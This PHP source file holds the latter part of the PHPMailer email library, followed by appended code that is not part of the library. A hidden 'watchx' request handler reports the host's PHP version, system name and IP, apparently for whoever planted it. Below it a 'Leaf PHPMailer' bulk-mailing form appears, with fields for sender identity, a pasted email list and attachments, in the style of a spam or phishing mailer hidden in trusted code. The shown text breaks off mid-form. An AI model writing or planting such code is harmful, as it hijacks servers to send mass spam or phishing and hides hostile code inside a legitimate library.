                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
